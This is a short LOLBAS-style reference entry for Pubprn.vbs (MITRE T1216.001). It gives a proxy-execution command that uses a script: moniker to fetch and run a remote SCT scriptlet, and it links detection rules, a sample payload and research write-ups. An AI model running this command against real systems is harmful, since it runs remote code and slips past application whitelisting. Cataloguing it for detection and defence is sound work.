Pubprn.vbs

Commands

1. ExecuteUser T1216.001

   Proxy execution

   pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}

   Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

   os: Windows 10

   Execute: SCT

Detection

• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• Sigma https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml

Code samples

• https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Pubprn_calc.sct

Resources

• https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
• https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
• https://github.com/enigma0x3/windows-operating-system-archaeology